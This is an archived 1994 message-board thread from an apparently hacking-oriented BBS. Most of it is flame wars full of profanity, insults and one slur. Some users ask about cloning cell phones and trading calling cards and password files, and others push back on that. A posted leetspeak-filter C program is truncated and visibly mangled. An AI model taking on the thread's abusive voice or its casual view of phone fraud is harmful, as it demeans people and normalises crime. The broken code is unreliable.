To: Quetzal@yabbs
|
|
Subject: re: Sorry
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|
Date: Wed Aug 3 01:35:40 1994
|
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i have no ego.
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|
natalie
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From Badger01@yabbs Wed Aug 3 08:51:50 1994
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|
From: Badger01@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: Sorry
|
|
Date: Wed Aug 3 08:51:50 1994
|
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|
|
What about an id? Do you have one of them?
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|
|
Just curious,
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|
BADGER01 (NEW! All in caps for your enjoyment! And he's stronger than
|
|
buffered Nuprin! Safer than Motrin! Slightly mad! He loves exclamation
|
|
points! ;)
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|
From Natalie@yabbs Wed Aug 3 11:10:51 1994
|
|
From: Natalie@yabbs
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|
To: Badger01@yabbs
|
|
Subject: re: Sorry
|
|
Date: Wed Aug 3 11:10:51 1994
|
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|
hmmm...an id, eh? not too sure about that, i'm still looking for my
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|
animus...
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|
natalie
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From Skywise@yabbs Wed Aug 3 17:34:42 1994
|
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From: Skywise@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: Sorry
|
|
Date: Wed Aug 3 17:34:42 1994
|
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Natalie you <censored><censored>! Why don't you take your <censored>
|
|
flames and <cesnored> up your <censored><censored><censored><censored>!
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|
Who needs a <censored> flame base when you can do it right here?
|
|
your <censored> pal,
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|
Skywise
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|
From brael@yabbs Thu Aug 4 21:02:18 1994
|
|
From: brael@yabbs
|
|
To: Mystery@yabbs
|
|
Subject: re: Sorry
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|
Date: Thu Aug 4 21:02:18 1994
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|
1f you got a problem with my posts then skip ahead loser.. i don't give
|
|
a fuck what u think about my style u fuckin freak.. ur prolly jus tryin
|
|
to agree with nat in a pathetic attempt to get down with some cyberbitch..
|
|
not to b 1 with a fat head but i prolly know more about h/ph then every
|
|
single 1 of ya and i posted here to inspire a h/ph related discussion
|
|
in an attempt to learn somethin n in return teach somethin back..
|
|
of course that was quite the optimistic approach cuz every1 here seems
|
|
to b more interested in some whiny girl who admits she knows nothing
|
|
about the subject topic but still finds it in er to bitch like the fuck..
|
|
i dunno, the addiction to posting when no1 really has n e thing to say
|
|
is a bit overwhelming so i have 2 b out.. l8r cuties..
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brael
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From Skywise@yabbs Thu Aug 4 21:08:12 1994
|
|
From: Skywise@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: Sorry
|
|
Date: Thu Aug 4 21:08:12 1994
|
|
|
|
it's very obvious that yes indeedy you DO care what people think about the
|
|
way you type...you want us all to like it and think it's impressive. Why
|
|
else are you rambling on and on and on about it? sheeeesh.
|
|
y0r un<0nvin<ed p@l,
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|
Skywise
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From brael@yabbs Thu Aug 4 21:30:17 1994
|
|
From: brael@yabbs
|
|
To: Skywise@yabbs
|
|
Subject: re: Sorry
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|
Date: Thu Aug 4 21:30:17 1994
|
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w0w.. u figured me out. cool, u win.
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b
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From brael@yabbs Thu Aug 4 21:34:07 1994
|
|
From: brael@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: Sorry
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|
Date: Thu Aug 4 21:34:07 1994
|
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|
u flamed me 1st..nice display of hypocritical behavior..
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|
self-defense n0..powertrips r abound 2nite.
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b
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From Natalie@yabbs Thu Aug 4 22:26:41 1994
|
|
From: Natalie@yabbs
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|
To: brael@yabbs
|
|
Subject: re: Sorry
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|
Date: Thu Aug 4 22:26:41 1994
|
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|
yes! i am a cyberbitch! and even better, i'm some whiny girl who admits
|
|
she knows nothing. oh, i couldn't ever ask for more. *smirk* all i ask
|
|
is that you repect the language you speak and write, and which you
|
|
obviously don't give a shit about.
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|
natalie
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From Natalie@yabbs Thu Aug 4 22:28:14 1994
|
|
From: Natalie@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: Sorry
|
|
Date: Thu Aug 4 22:28:14 1994
|
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|
hmmm...i dinna flame you first. i just siad that i found that it was
|
|
unnecessary to act like you're illiterate. that's all. and that should
|
|
be said in the first line. i'm not the world's best typist.
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|
natalie
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From GPF@yabbs Fri Aug 5 00:00:42 1994
|
|
From: GPF@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: Sorry
|
|
Date: Fri Aug 5 00:00:42 1994
|
|
|
|
oh yeah, i'll bet you know more than every one of us.... the only ppl
|
|
who say that are the ones who havent' learned enough to know that they
|
|
don't know shit....
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my 40% of a nickel.... gpf....
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From Mystery@yabbs Fri Aug 5 01:23:01 1994
|
|
From: Mystery@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: Sorry
|
|
Date: Fri Aug 5 01:23:01 1994
|
|
|
|
Well to let you know, I am NOT trying to hit on Natalie, I just find your
|
|
writing hard to read... If you really want to do this, go the fuck ahead,
|
|
but it is really damn annoying... And those people who usually brag about
|
|
knowing the most about hacking and phreaking are usually just a lttle 14
|
|
year old kid or something who thinks hes really cool and thinks he can do
|
|
all kinds of this "elite" crapola... No offense Natalie, but I really
|
|
don't give a fuck if she talks about hacking or what she ate for dinner...
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I guess you really are addicted to posting because you really don't have
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much to say...
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Mystery
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From Natalie@yabbs Fri Aug 5 02:08:14 1994
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From: Natalie@yabbs
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To: Mystery@yabbs
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Subject: re: Sorry
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Date: Fri Aug 5 02:08:14 1994
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well, i had beef & cheese enchiladas for dinner...they were quite good
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too...
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natalie
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From Death@yabbs Fri Aug 5 03:48:07 1994
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From: Death@yabbs
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To: all@yabbs
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Subject: Crap
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Date: Fri Aug 5 03:48:07 1994
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I for one am kinda sick of this crap... The last 600 or so (probably more)
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messages in this base have all been just about nothing but flames... Now I
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remember why I stopped bothering to read anything here, let alone post...
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--Death
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who is once again killing his subscription to this base...
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From Skywise@yabbs Fri Aug 5 08:14:30 1994
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From: Skywise@yabbs
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To: Death@yabbs
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Subject: re: Crap
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Date: Fri Aug 5 08:14:30 1994
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DEATH!!!! COME BACK!!! COME BACK!!! :(
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your sorrowful mourning pal,
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Skywise
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*WHAMMO* to Natalie for being another carnivore
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From Typhon@yabbs Fri Aug 5 09:44:04 1994
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From: Typhon@yabbs
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To: Mystery@yabbs
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Subject: Hitting On Natalie
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Date: Fri Aug 5 09:44:04 1994
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Well, I'll do it if you don't want to.
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Typhon the Usurper
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From Quetzal@yabbs Fri Aug 5 11:43:56 1994
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From: Quetzal@yabbs
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To: all@yabbs
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Subject: Cell Phones
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Date: Fri Aug 5 11:43:56 1994
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Can someone give me some info on cloaning and programming a cell phone.
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I look in several philes here and on other gophers but no luck!
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thanx
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Quetzalcoatl
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From balistic@yabbs Fri Aug 5 15:47:42 1994
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From: balistic@yabbs
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To: Mystery@yabbs
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Subject: re: Sorry
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Date: Fri Aug 5 15:47:42 1994
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Man, the hostility on this board is overwhelming! Mystery, don't lump
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all 14 year old newbies together, I'm 14, but I have no reason to try and
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be eleet, not after reading the posts of some of the :eleet" on this
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base...sheesh, get it together and hack, rather than spending all your
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free time flaming ppl for something they said (I can't wait to recieve
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flames for this!)...anywyz, hack now, flame later.
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balistic
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From cosmos@yabbs Fri Aug 5 20:19:05 1994
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From: cosmos@yabbs
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To: balistic@yabbs
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Subject: re: Sorry
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Date: Fri Aug 5 20:19:05 1994
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In message re: Sorry, balistic said:
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> Man, the hostility on this board is overwhelming! Mystery, don't lump
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> all 14 year old newbies together, I'm 14, but I have no reason to try and
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> be eleet, not after reading the posts of some of the :eleet" on this
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> base...sheesh, get it together and hack, rather than spending all your
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> free time flaming ppl for something they said (I can't wait to recieve
|
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> flames for this!)...anywyz, hack now, flame later.
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>
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r|gHt 0n d00D!
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Cosmos
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From Natalie@yabbs Fri Aug 5 22:14:59 1994
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From: Natalie@yabbs
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To: Typhon@yabbs
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Subject: re: Hitting On Natalie
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Date: Fri Aug 5 22:14:59 1994
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gee, typh...would you?
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btw, nice new name :)
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natalie
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From GPF@yabbs Sat Aug 6 02:41:07 1994
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From: GPF@yabbs
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To: arachnoi@yabbs
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Subject: re: This aint Yalk
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Date: Sat Aug 6 02:41:07 1994
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hate to break it to you but her hacking advice is a lot better than yours...
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and she hasn't even given any... my advice: stick to anarchy, you don't
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make yourself look like an ass there...
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much...
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....gpf
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who is posting this in hopes of getting some |<-RaD [\]3+$3>< *smirk*
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From brael@yabbs Sat Aug 6 02:46:12 1994
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From: brael@yabbs
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To: Quetzal@yabbs
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Subject: re: Cell Phones
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Date: Sat Aug 6 02:46:12 1994
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a decent article on cellul@r telephony can b found in
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Phrack (lame) Volume 4, issue 4o, file 6 of 14..
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its the second 1 on the subject by brian 0blivion..
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hope that helps..
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y n e 1 would prefere a stout ale is way beyond me..
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1 word.. im 20 and there's nothing i wouldnt give to b
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14 again.. w/o a doubt..
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brael@crl.com
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From brael@yabbs Sat Aug 6 02:54:08 1994
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From: brael@yabbs
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To: all@yabbs
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Subject: 3733t c0de
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Date: Sat Aug 6 02:54:08 1994
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Bongfilter $Revision: 2.3 $ (C) Copyleft Junya Ho. (of the GNU flavour)
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This is bongfilter $Revision: 2.3 $. Character substitutions can
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be made easily by substituting into the table caps[] and lowr[]
|
|
below - a few substitutions have already been made as a
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|
demonstration.
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There is now an alternate character substitution list which will
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substitute multicharacter strings for certain characters, e.g.,
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|
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For usage information, type bongfilt without any arguments. The
|
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revision log is at the end of the source.
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|
(more usage information)
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- bongfilter can take input from the command line, or it can take
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info from a pipe, eg: "ls -al | bongfilt -none -alw"
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- the option -none adds no characters for inverse/underline/bold.
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- the option -alw always substitutes, and -ran substitutes sometimes.
|
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- for your ircII clients, probably the easiest way to incorporate
|
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bongfilter is to add an alias:
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/ALIAS bongf exec -out [path]/bongfilt -irc -ran
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(or -alw instead of -ran, its up to you)
|
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and invoking it by: /bongf text here
|
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from within your ircII client.
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <sys/time.h>
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#define NOEMU 0
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#define IRCEMU 1
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#define VT100EMU 2
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#define ALWAYS 0
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#define RANDOM 1
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static char id[]="$Id: bongfilt.c,v 2.3 1994/05/07 21:31:34 hojunya Exp
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hojunya $";
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static char caps[]="ABCD3FGHiJKLMN0PQRSTUVWXYZ";
|
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static char lowr[]="abCd3fghijk1mn0pqrsTuvwxyz";
|
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static char *alt[26];
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|
void init_alt()
|
|
{
|
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register int count;
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for(count=0;count<26;count++) alt[count]=NULL;
|
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{
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|
alt['a'-'a']=(char *)strdup("/\\");
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alt['d'-'a']=(char *)strdup("/>");
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alt['h'-'a']=(char *)strdup("|-|");
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alt['k'-'a']=(char *)strdup("/<");
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alt['l'-'a']=(char *)strdup("|_");
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alt['n'-'a']=(char *)strdup("/\\/");
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alt['o'-'a']=(char *)strdup("()");
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alt['u'-'a']=(char *)strdup("|_|");
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alt['v'-'a']=(char *)strdup("\\/");
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alt['w'-'a']=(char *)strdup("\\/\\/");
|
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}
|
|
}
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|
|
|
int mangle(char *ch, char from, int freq)
|
|
{
|
|
struct timeval tp;
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|
|
|
gettimncpy(ch, alt[from-'A'], strlen(alt[from-'A']));
|
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return(strlen(alt[from-'A']));}
|
|
else { strncpy(ch,&caps[from-'A'],1);
|
|
return(1);}
|
|
else if (islower(from))
|
|
if ((tp.tv_usec%3) && (alt[from-'a'] != NULL) &&(freq==RANDOM)) {
|
|
strncpy(ch, alt[from-'a'],strlen(alt[from\n"heck_options(int
|
|
argc, char **argv, int *emu, int *freq) {
|
|
if (argc < 3) {
|
|
print_usage();
|
|
exit(1);}
|
|
if (!strcmp(argv[1],"-none")) *emu=NOEMU;
|
|
else if(!stprint_usage();
|
|
exit(1);}
|
|
if (!strcmp(argv[2],"-ran")) *freq=RANDOM;
|
|
else if(!strcmp(argv[2],"-alw")) *freq
|
|
|
|
From brael@yabbs Sat Aug 6 03:01:17 1994
|
|
From: brael@yabbs
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|
To: all@yabbs
|
|
Subject: 00oops
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|
Date: Sat Aug 6 03:01:17 1994
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|
ooopps.. the message buffer lames out at 99lines so if n e 1
|
|
wants d rest of the code 2 become elite jus like me ur gonna
|
|
have 2 email. sorryalls..:)
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|
brael
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From 'Drew@yabbs Sat Aug 6 04:59:10 1994
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|
From: 'Drew@yabbs
|
|
To: brael@yabbs
|
|
Subject: Hmmm...
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|
Date: Sat Aug 6 04:59:10 1994
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|
|
*shakes head*
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|
|
|
Never mind......
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|
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From Natalie@yabbs Sat Aug 6 08:09:39 1994
|
|
From: Natalie@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: This aint Yalk
|
|
Date: Sat Aug 6 08:09:39 1994
|
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|
|
no, i'm a cyberbitch/feminazi. get it right, ok?
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|
natalie
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From Typhon@yabbs Sat Aug 6 11:05:08 1994
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|
From: Typhon@yabbs
|
|
To: balistic@yabbs
|
|
Subject: re: Sorry
|
|
Date: Sat Aug 6 11:05:08 1994
|
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|
|
It's ELITE, you newbie r0dent!
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|
Just Kiddin'...You make several valid points, and should not be slagged on
|
|
due to your tender age. (14....I feel so old.)
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|
|
Typhon the Usurper
|
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|
From Typhon@yabbs Sat Aug 6 11:05:51 1994
|
|
From: Typhon@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: Hitting On Natalie
|
|
Date: Sat Aug 6 11:05:51 1994
|
|
|
|
In a hot second.
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|
|
|
Thanks...I was unsure about the name.
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|
|
Typhon the Usurper
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|
|
|
From balistic@yabbs Sat Aug 6 15:08:12 1994
|
|
From: balistic@yabbs
|
|
To: Typhon@yabbs
|
|
Subject: re: Sorry
|
|
Date: Sat Aug 6 15:08:12 1994
|
|
|
|
hey at least I didn't spell it with 3's instead of e's :)
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|
|
|
From K0d3R@yabbs Sat Aug 6 15:28:28 1994
|
|
From: K0d3R@yabbs
|
|
To: all@yabbs
|
|
Subject: FuQin NaRqS
|
|
Date: Sat Aug 6 15:28:28 1994
|
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|
|
doodz
|
|
|
|
I was told this board r0cks. But there seems to be lots of drag lamers on
|
|
here like bart. Lets get this thing going, I am looking for outdials and
|
|
some good att cards--I have lots of passwd files so lets get the haqin
|
|
shit going guys!
|
|
|
|
K0d3R [tUpA(]
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|
|
|
|
|
From htoaster@yabbs Sat Aug 6 15:43:47 1994
|
|
From: htoaster@yabbs
|
|
To: K0d3R@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 15:43:47 1994
|
|
|
|
In message FuQin NaRqS, K0d3R said:
|
|
> I was told this board r0cks. But there seems to be lots of drag lamers on
|
|
> here like bart. Lets get this thing going, I am looking for outdials and
|
|
> some good att cards--I have lots of passwd files so lets get the haqin
|
|
> shit going guys!
|
|
|
|
umm...dude...hate to ruin your day, but this board isn't for trading passwd
|
|
files and carding and stuff like that. if it was how do you think it would
|
|
stay up for two years with 150 accounts created per day, over 13000 accounts
|
|
total, and being listed in a buttload of telnetable bbs lists? its popular
|
|
enough that if codes were listed i'd expect to get shit for it in the next
|
|
few days (if not hours), and the system would probably go down...
|
|
|
|
feel free to talk about hacking, programming, or whatever your heart desires.
|
|
don't trade personal information about people that could get you incriminated.
|
|
think of it as an electronic 2600...
|
|
|
|
alex
|
|
|
|
|
|
From cosmos@yabbs Sat Aug 6 15:55:21 1994
|
|
From: cosmos@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 15:55:21 1994
|
|
|
|
In message re: FuQin NaRqS, htoaster said:
|
|
>
|
|
> feel free to talk about hacking, programming, or whatever your heart desires.
|
|
> don't trade personal information about people that could get you incriminated.
|
|
> think of it as an electronic 2600...
|
|
|
|
But alex...have you seen the 2600 state lately?? More codes there than I
|
|
thought was humanly possible...dont know about the mag.
|
|
|
|
Cosmos
|
|
|
|
|
|
|
|
From Justbob@yabbs Sat Aug 6 16:44:50 1994
|
|
From: Justbob@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 16:44:50 1994
|
|
|
|
Heh, i have a friend who was connected via ftp, he normally deletes his
|
|
his site had been compromised.
|
|
Within an hour, he had security ppl at his door asking if he knew yabbs
|
|
was a h/ph board.
|
|
|
|
From Skywise@yabbs Sat Aug 6 17:34:57 1994
|
|
From: Skywise@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: This aint Yalk
|
|
Date: Sat Aug 6 17:34:57 1994
|
|
|
|
*boot to the head*
|
|
;)
|
|
BTW...I program cellular telephones at work huhuhuhuhuhuh
|
|
huhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhuhu
|
|
huh
|
|
heh
|
|
:)
|
|
|
|
From -DuCK-@yabbs Sat Aug 6 20:30:46 1994
|
|
From: -DuCK-@yabbs
|
|
To: all@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 20:30:46 1994
|
|
|
|
obviously this k0d3r is doing illegal shit, i think that he shouldn't be
|
|
allowed here.. what do you guys think? hmm.. well, here's what he said//
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
> doodz
|
|
>
|
|
>
|
|
> I was told this board r0cks. But there seems to be lots of drag
|
|
> lamers on here like bart. Lets get this thing going, I am looking
|
|
> for outdials and some good att cards--I have lots of passwd files
|
|
> so lets get the haqin shit going guys!
|
|
>
|
|
>
|
|
> K0d3R [tUpA(]
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
i personally think, that he's the lame one, although, i don't agree with
|
|
all the flames that have been passed thru here in the last many messages,
|
|
i had to get this out into the open.. I'm sure no one will agree with me,
|
|
but i really don't care.. :) any ways see yalz later
|
|
|
|
From cosmos@yabbs Sat Aug 6 20:46:08 1994
|
|
From: cosmos@yabbs
|
|
To: Justbob@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 20:46:08 1994
|
|
|
|
In message re: FuQin NaRqS, Justbob said:
|
|
> Heh, i have a friend who was connected via ftp, he normally deletes his
|
|
> his site had been compromised.
|
|
> Within an hour, he had security ppl at his door asking if he knew yabbs
|
|
> was a h/ph board.
|
|
|
|
|
|
Hey justbob, can you "just" speak fucking english?? Explain to me how
|
|
one is "connected" via ftp...
|
|
|
|
|
|
Cosmos
|
|
|
|
|
|
|
|
From Natalie@yabbs Sat Aug 6 20:54:13 1994
|
|
From: Natalie@yabbs
|
|
To: Typhon@yabbs
|
|
Subject: re: Hitting On Natalie
|
|
Date: Sat Aug 6 20:54:13 1994
|
|
|
|
heehee. you only wish.
|
|
|
|
natalie
|
|
|
|
From htoaster@yabbs Sat Aug 6 22:48:41 1994
|
|
From: htoaster@yabbs
|
|
To: -DuCK-@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 22:48:41 1994
|
|
|
|
In message re: FuQin NaRqS, -DuCK- said:
|
|
> obviously this k0d3r is doing illegal shit, i think that he shouldn't be
|
|
> allowed here.. what do you guys think? hmm.. well, here's what he said//
|
|
|
|
i personally don't beleive in ever denying access to anyone unless they are
|
|
openly harrasing other users. in fact the software has very limited ways
|
|
to deny access to people, since i can only ban an entire site (since I don't
|
|
validated individual users through email or anything, I can't require a
|
|
email address for access and ban based on that).
|
|
|
|
i think he should understand what the board is about and what we're looking
|
|
for here...since the system got put in the #hack faq I expect a lot of loosers
|
|
to be showing up who expect to find lots of codes and stuff, and we just need
|
|
to explain that we don't want that.
|
|
|
|
alex
|
|
|
|
|
|
From htoaster@yabbs Sat Aug 6 22:49:33 1994
|
|
From: htoaster@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 22:49:33 1994
|
|
|
|
In message re: FuQin NaRqS, cosmos said:
|
|
> In message re: FuQin NaRqS, Justbob said:
|
|
> > Heh, i have a friend who was connected via ftp, he normally deletes his
|
|
> > his site had been compromised.
|
|
> > Within an hour, he had security ppl at his door asking if he knew yabbs
|
|
> > was a h/ph board.
|
|
>
|
|
> Hey justbob, can you "just" speak fucking english?? Explain to me how
|
|
> one is "connected" via ftp...
|
|
>
|
|
|
|
yeah, i was wondering if you could clarify the entire message. i'm interested
|
|
in knowing if people are getting harrased for using yabbs.
|
|
|
|
alex
|
|
|
|
|
|
From cosmos@yabbs Sat Aug 6 23:58:34 1994
|
|
From: cosmos@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: FuQin NaRqS
|
|
Date: Sat Aug 6 23:58:34 1994
|
|
|
|
In message re: FuQin NaRqS, htoaster said:
|
|
> In message re: FuQin NaRqS, cosmos said:
|
|
> > In message re: FuQin NaRqS, Justbob said:
|
|
> > > Heh, i have a friend who was connected via ftp, he normally deletes his
|
|
> > > his site had been compromised.
|
|
> > > Within an hour, he had security ppl at his door asking if he knew yabbs
|
|
> > > was a h/ph board.
|
|
> >
|
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> > Hey justbob, can you "just" speak fucking english?? Explain to me how
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> > one is "connected" via ftp...
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> >
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>
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> yeah, i was wondering if you could clarify the entire message. i'm interested
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> in knowing if people are getting harrased for using yabbs.
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>
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> alex
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>
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Harrased?? By who? ;)
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Cosmos
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From C.S.@yabbs Sun Aug 7 02:24:24 1994
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From: C.S.@yabbs
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To: balistic@yabbs
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Subject: re: Sorry
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Date: Sun Aug 7 02:24:24 1994
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Yeah, I agree on that.
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From C.S.@yabbs Sun Aug 7 02:30:03 1994
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From: C.S.@yabbs
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To: -DuCK-@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 02:30:03 1994
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As long as he doesn't do any illegal shit here, who cares?
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From maedhros@yabbs Sun Aug 7 03:55:16 1994
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From: maedhros@yabbs
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To: all@yabbs
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Subject: hacking
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Date: Sun Aug 7 03:55:16 1994
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Just a quick word on hacking. Please free feel to correct me if I'm wrong.
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Hacking is (to me, at least) a desire to learn. It's a desire to push a
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system beyond normal limits, to explore possibilities which others didn't
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think existed, to LEARN a system in its entirety. I stress the word
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learn, because it doesn't seem to be in the little script-running warez
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fucks vocabulary. It IS NOT collecting the works of others to break into
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systems.
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If hackers happen to break into a system occasionally, it's beside the point.
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That is not the end goal to hacking. Many, many warez shit-heads would
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have people believe they can hack. "Anyone got any scripts?" Bullshit!
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If you can't even deal with writing your own goddamn shell scripts, don't
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embarass yourself by insinuating you belong among the hackers ranks.
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Hackers understand what they're working with: If they don't, they damn
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well make it their first priority to learn it. If you want to learn to
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hack, throw your silly ass scripts in the trash and go RTFM. Or, ignore
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this post and stick your head back up your ass.
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A final note: The quickest way to spot a waanabe is to find someone who
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calls themselves a hacker. If you can hack, people will know you as such
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by your word and actions, not by your self-praise. The people who talk
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the most tend to know the least.
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Sorry for yet another flame on the base, I realize it's already been
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flooded lately with them. I couldn't shut up anymore. And, BTW, I'm not
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a hacker, so don't bother asking me to justify myself. I study, listen
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and learn; perhaps someday...
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Maedhros /\
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/--\
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/ \
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From Ziggy@yabbs Sun Aug 7 05:43:43 1994
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From: Ziggy@yabbs
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To: maedhros@yabbs
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Subject: Learning
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Date: Sun Aug 7 05:43:43 1994
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I'd have to agree with you on the part of learning -- I think that it
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should be the predominant force etched in everyone's mind.
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You don't learn the innerworkings of shit if you type chmod +x and run the
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damned thing. ;)
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Anyways. I'm tired. It's 5 in the morning. I need some coffee.
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From brael@yabbs Sun Aug 7 06:58:14 1994
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From: brael@yabbs
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To: maedhros@yabbs
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Subject: re: hacking
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Date: Sun Aug 7 06:58:14 1994
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hmm.. my hacker ethic is simply if its fun, do it.. if that means be
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1 of thoze LoDish twits which make the eff so godamn proud as you follow
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the holy path of learned useless knowledge (COMSEC AHAH!) to a haq0ur
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state of enlightenment then do it.. if it means be a cyber gangsta boogie
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computer terrorist only concerned with the way in no matter how lowly
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people think you r 4 running a skript from ur bag of trix n treats then
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do it..!.. Being a good computer security penetrator/telco phreak ain't
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too much to be proud of kids.. you end up in a)jail (phiber) b)with
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your legs broken (SuperN1gger after he couldn't come up with enough
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ATT 75/85 forwards for the mafia), c)running a failed security co.
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no matter how much free publicity u get (ComSec lod/h), d)shaving your
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group's name in the back of your head (Corrupt/MoD), e)a child molester
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pale faced mutant (Johnny Draper aka the capt. of the sugary variety),
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f)work for private investigators and eventually get busted (kludge) snif..
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g)u'll wear pajama's everywhere, even in foggy situations.. (billsf,
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hacktic@sf) h)u'll be held in jail for the rest of your life for
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no apparent reason (dark dante after he t00k photos of himself fuckin
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with remob at the c.o.) h)resort to netsex as ur only source of love
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and affection cuz ur skared if people meet you they'll say you look
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like an evil hairy beast of a dwarf (skywise)..
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n e ways.. i could go on but u get the picture.. if u want to learn
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something kewl get Super VGA Graphics programming secrets by steve
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rimmer and code some fat demo and win 10K at assembly 94..
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crack systems 4 fun, not mdssdf
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woops not 4 some l@ym sense of holy pride but remembah thats jus n opinion
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funplayexplorepokejumpcausehavocsmilefunfun!
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brael.. the spliff went rryte 2 my head,
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From Natalie@yabbs Sun Aug 7 10:13:53 1994
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From: Natalie@yabbs
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To: brael@yabbs
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Subject: re: hacking
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Date: Sun Aug 7 10:13:53 1994
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odd, i was always under the impression that true hacking was learning as
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well. but then again, that was ten years ago. perhaps things have
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changed since then.
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*goes back to reading her unix shell programming book*
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natalie
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From No_Name@yabbs Sun Aug 7 12:40:44 1994
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From: No_Name@yabbs
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To: K0d3R@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 12:40:44 1994
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AS I quote K0d3R
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doodz
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I was told this board r0cks. But there seems to be lots of drag lamers on
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here like bart. Lets get this thing going, I am looking for outdials and
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some good att cards--I have lots of passwd files so lets get the haqin
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shit going guys!
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K0d3R [tUpA(]
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End quote.
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What the hell is wrong with this place? geeze.. I wish they had a lamer
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filter for people that suck.. Swap password filez? ya.. okay.. :)
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BTW: where the hell did ya come up with the group name from? MTV?
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PPRiCK Rulez.. :) Haha.. *Smirk*
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From Phreddie@yabbs Sun Aug 7 13:26:43 1994
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From: Phreddie@yabbs
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To: balistic@yabbs
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Subject: re: Sorry
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Date: Sun Aug 7 13:26:43 1994
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Unfortunately though, the majority of the really foolish and careless
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'hackers' are around 14 years old.. so that's why people generally tend to
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depise them ..
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I mean seriously, the other day on some BBS I read an anonymous message of
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some guy describing how cool he was because he knew how to hack AoL!!!
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Jesus H. Christ, I almost died of laughter..
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From -DuCK-@yabbs Sun Aug 7 13:27:41 1994
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From: -DuCK-@yabbs
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To: htoaster@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 13:27:41 1994
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> i personally don't beleive in ever denying access to anyone unless
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> they are openly harrasing other users. in fact the software has
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> very limited ways to deny access to people, since i can only ban an
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> entire site (since I don't validated individual users through email
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> or anything, I can't require a email address for access and ban
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> based on that).
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>
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>
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> i think he should understand what the board is about and what we're
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> looking for here...since the system got put in the #hack faq I
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> expect a lot of loosers to be showing up who expect to find lots of
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> codes and stuff, and we just need to explain that we don't want
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> that.
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i get where you are coming from.. :) I guesswe'll just have to tell them
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loosers.. NO CODEZ dewd.. hehe.. well, see you around.. :0
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i mean :)
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/~~~~~~\ ____
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| |___ | | ____| |/ >
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| | | | |/ ___| /
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| | | | | / | \
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| / |/ | \__/ \ |\ \
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\________/ \_________/\_______/___| \____\
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From -DuCK-@yabbs Sun Aug 7 13:29:37 1994
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From: -DuCK-@yabbs
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To: C.S.@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 13:29:37 1994
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> As long as he doesn't do any illegal shit here, who cares?
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>
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yeah, i guess so, as long as he don't get us in trouble!
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i hope this bbs stays up for a long time.. it's lotsa fun
|
|
i don't want some warez puppy/code trader to ruin it for
|
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all of us.. :0
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From -DuCK-@yabbs Sun Aug 7 13:32:47 1994
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From: -DuCK-@yabbs
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To: brael@yabbs
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Subject: re: hacking
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Date: Sun Aug 7 13:32:47 1994
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i don't think we needed any examples of what you're talking about.. it's
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not nice to flame people..
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From Justbob@yabbs Sun Aug 7 15:05:31 1994
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From: Justbob@yabbs
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To: cosmos@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 15:05:31 1994
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Can you say `ftp phred.pc.cc.cmu.edu`?
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good! I knew you could!
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From balistic@yabbs Sun Aug 7 15:33:53 1994
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From: balistic@yabbs
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To: all@yabbs
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Subject: re: FuQin NaRqS
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Date: Sun Aug 7 15:33:53 1994
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I think somebody needs to asassin-box k0d3r...
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From cosmos@yabbs Sun Aug 7 15:35:00 1994
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From: cosmos@yabbs
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|
To: Justbob@yabbs
|
|
Subject: re: FuQin NaRqS
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|
Date: Sun Aug 7 15:35:00 1994
|
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|
In message re: FuQin NaRqS, Justbob said:
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> Can you say `ftp phred.pc.cc.cmu.edu`?
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> good! I knew you could!
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>
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|
You need to write your sentences in plain English man. Nobody is
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|
"connected" through FTP. Anyhow, you are telling me he got busted or
|
|
raided or spyed on or molested or whatever for using phred's FTP??
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Bwahahahahah....must be that gif of Jazzy...
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Cosmos
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From balistic@yabbs Sun Aug 7 15:36:05 1994
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From: balistic@yabbs
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To: all@yabbs
|
|
Subject: re: FuQin NaRqS
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Date: Sun Aug 7 15:36:05 1994
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yeah...all us yabbs users are reeeeal mischeivous :)
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From balistic@yabbs Sun Aug 7 15:37:50 1994
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From: balistic@yabbs
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To: maedhros@yabbs
|
|
Subject: re: hacking
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|
Date: Sun Aug 7 15:37:50 1994
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yeah..I read somewhere that synergy hacked into the DOD just to learn C
|
|
because it wasn't on the market yet...
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balistic
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From balistic@yabbs Sun Aug 7 15:40:45 1994
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From: balistic@yabbs
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To: Phreddie@yabbs
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Subject: re: Sorry
|
|
Date: Sun Aug 7 15:40:45 1994
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yes, unfortunatly many of the morons in my age bracket are lacking in
|
|
intelligence...:)
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From balistic@yabbs Sun Aug 7 15:41:54 1994
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From: balistic@yabbs
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To: -DuCK-@yabbs
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Subject: re: FuQin NaRqS
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|
Date: Sun Aug 7 15:41:54 1994
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I don't know what I'd do without my yabbs....sob
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From balistic@yabbs Sun Aug 7 15:43:53 1994
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From: balistic@yabbs
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To: all@yabbs
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|
Subject: re: GIFs
